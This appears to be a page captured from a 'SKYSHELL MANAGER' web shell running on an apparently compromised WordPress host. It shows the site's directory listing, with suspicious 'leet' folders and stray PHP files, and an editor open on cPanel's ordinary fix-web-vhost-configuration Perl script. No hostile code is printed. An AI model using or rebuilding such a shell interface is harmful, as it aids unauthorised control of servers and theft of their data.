📁
SKYSHELL MANAGER
PHP v8.1.34
Create
Create
Path:
root
/
home
/
hhwlixlg
/
public_html
/
newcomersnc.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
4465wp
-
0755
🗑️
🏷️
🔒
📁
57d4wp
-
0755
🗑️
🏷️
🔒
📁
61e7leet
-
0755
🗑️
🏷️
🔒
📁
83e6leet
-
0755
🗑️
🏷️
🔒
📁
b48dwp
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
eda7leet
-
0755
🗑️
🏷️
🔒
📁
mwp_db
-
0755
🗑️
🏷️
🔒
📁
newcomersnc
-
0555
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📁
www
-
0555
🗑️
🏷️
🔒
📄
.ftpquota
0.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess
0.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
.htaccess__
0.55 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
002.php
1029.86 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
400.shtml
0.13 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
401.shtml
0.16 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
403.shtml
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
404.shtml
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.php
0.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
500.shtml
0.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
Default.html
88.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
default.html
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
favicon.ico
0.8 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
filefuns.php
5.2 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
genialge_be9.sql
74490.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlec31bc5cccda343af.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
0.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
opdel.php
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.1 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php_errorlog
559.57 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
public_html.tar.gz (1).zip
10095471.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.0bbdae433d353ac9484cb95b207f090d.html
7.19 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.64a8c61caaa23298e009a44f553cab58.html
7.24 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence-waf.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wordfence.7.5.8.zip
5008.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.34 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
2.12 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
50.66 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
31.88 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
33.94 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
3.13 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: fix-web-vhost-configuration
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/fix-web-vhost-configuration Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited package scripts::fix_web_vhost_configuration; use strict; use warnings; =encoding utf-8 =head1 NAME scripts/fix-web-vhost-configuration =head1 USAGE fix-web-vhost-configuration ( --help | [--dry-run] ( --user=$name | --all-users ) ) =head1 DESCRIPTION This script iterates through each user’s web virtual host configuration files and removes excess alias names. Certain historical errors in cPanel & WHM make it possible for there to be such discrepancies between expected and actual configuration. This does the following: =over =item * Identifies any unrecognized alias domains. =item * If C<--dry-run> is not passed, deletes the following unrecognized alias domains: =over =item * Active service subdomains (e.g., C<cpanel.example.com>) or C<www.> subdomains thereof (e.g., C<www.webmail.example.com>). =item * C<www.> subdomains (e.g., C<www.mail.example.com>) of any expected alias. =back Note that this will ignore other unrecognized alias domains. =item * Identifies and, if C<--dry-run> is not passed, adds missing alias domains. =back =cut #---------------------------------------------------------------------- use parent qw( Cpanel::HelpfulScript ); use Try::Tiny; use Cpanel::iContact::Icons (); use Cpanel::Config::userdata::Aliases (); use Cpanel::Config::userdata::Guard (); use Cpanel::Config::userdata::Load (); use Cpanel::Config::WebVhosts (); use Cpanel::Time::ISO (); use Cpanel::Set (); use constant _OPTIONS => ( 'dry-run', 'user=s', 'all-users' ); __PACKAGE__->new(@ARGV)->run() if !caller; my $RUN_ID; sub run { my ($self) = @_; $RUN_ID = ( Cpanel::Time::ISO::unix2iso() =~ tr< ><_>r ) . substr( rand, 1 ); my @cpusers = $self->_determine_cpusers(); for my $username (@cpusers) { $self->say("\n----- Checking “$username” …"); _try_warn( sub { my $vh_aliases = Cpanel::Config::userdata::Aliases::get_for_user($username); for my $vhname ( keys %$vh_aliases ) { $self->say("--- Virtual host: “$vhname”"); my $expected_ar = $vh_aliases->{$vhname}; _try_warn( sub { $self->say('- Non-SSL configuration …'); my $guard = Cpanel::Config::userdata::Guard->new( $username, $vhname, ); $self->_fix_ud_guard_for_expected( $username, $vhname, $guard, $expected_ar ); } ); if ( Cpanel::Config::userdata::Load::user_has_ssl_domain( $username, $vhname ) ) { _try_warn( sub { $self->say('- SSL configuration …'); my $guard = Cpanel::Config::userdata::Guard->new_ssl( $username, $vhname, ); $self->_fix_ud_guard_for_expected( $username, $vhname, $guard, $expected_ar ); } ); } } } ); } $self->say("Done!"); return; } BEGIN { *_icon = \*Cpanel::iContact::Icons::get_icon; } sub _back_up_ud { my ($path) = @_; require File::Copy; File::Copy::copy( $path => "$path.$RUN_ID" ); return; } sub _try_warn { my ($todo_cr) = @_; try { $todo_cr->() } catch { local $@ = _icon('error') . " $_"; warn; }; return; } sub _fix_ud_guard_for_expected { my ( $self, $username, $vhname, $ud_guard, $expected_ar ) = @_; my @file_aliases = split m<\s+>, $ud_guard->data()->{'serveralias'}; my @excess = Cpanel::Set::difference( \@file_aliases, $expected_ar, ); my @to_delete; if (@excess) { $self->say( _icon('warn') . " Unrecognized: @excess" ); my $vhsconf = Cpanel::Config::WebVhosts->load($username); my @svcs = $vhsconf->ssl_proxy_subdomains_for_vhost($vhname); # Remove www.mail, www.www, www.cpanel, etc. my @extra_www = map { "www.$_" } @$expected_ar, @svcs; @to_delete = Cpanel::Set::intersection( \@excess, [ @svcs, @extra_www ] ); if (@to_delete) { $self->say( _icon('warn') . " Pending deletion: @to_delete" ); } } my @missing = Cpanel::Set::difference( $expected_ar, \@file_aliases, ); if (@missing) { $self->say( _icon('warn') . " Expected but not found: @missing" ); } if ( @missing || @to_delete ) { if ( $self->getopt('dry-run') ) { $self->say('Forgoing repair because of “--dry-run” parameter.'); $ud_guard->abort(); } else { _back_up_ud( $ud_guard->path() ); $ud_guard->data()->{'serveralias'} = join( ' ', Cpanel::Set::difference( [ @excess, @$expected_ar ], \@to_delete ) ); $ud_guard->save() or die "Save failed!"; $self->say( _icon('success') . ' Fixed!' ); } } else { $ud_guard->abort(); } return; } sub _determine_cpusers { my ($self) = @_; my @cpusers; if ( $self->getopt('all-users') ) { if ( $self->getopt('user') ) { die $self->help('Give “--all-users” or “--user”, not both.'); } require Cpanel::Config::Users; @cpusers = Cpanel::Config::Users::getcpusers(); } else { my $cpuser = $self->getopt('user') or do { die $self->help('Give “--all-users” or “--user”.'); }; push @cpusers, $cpuser; } return @cpusers; } 1;
Save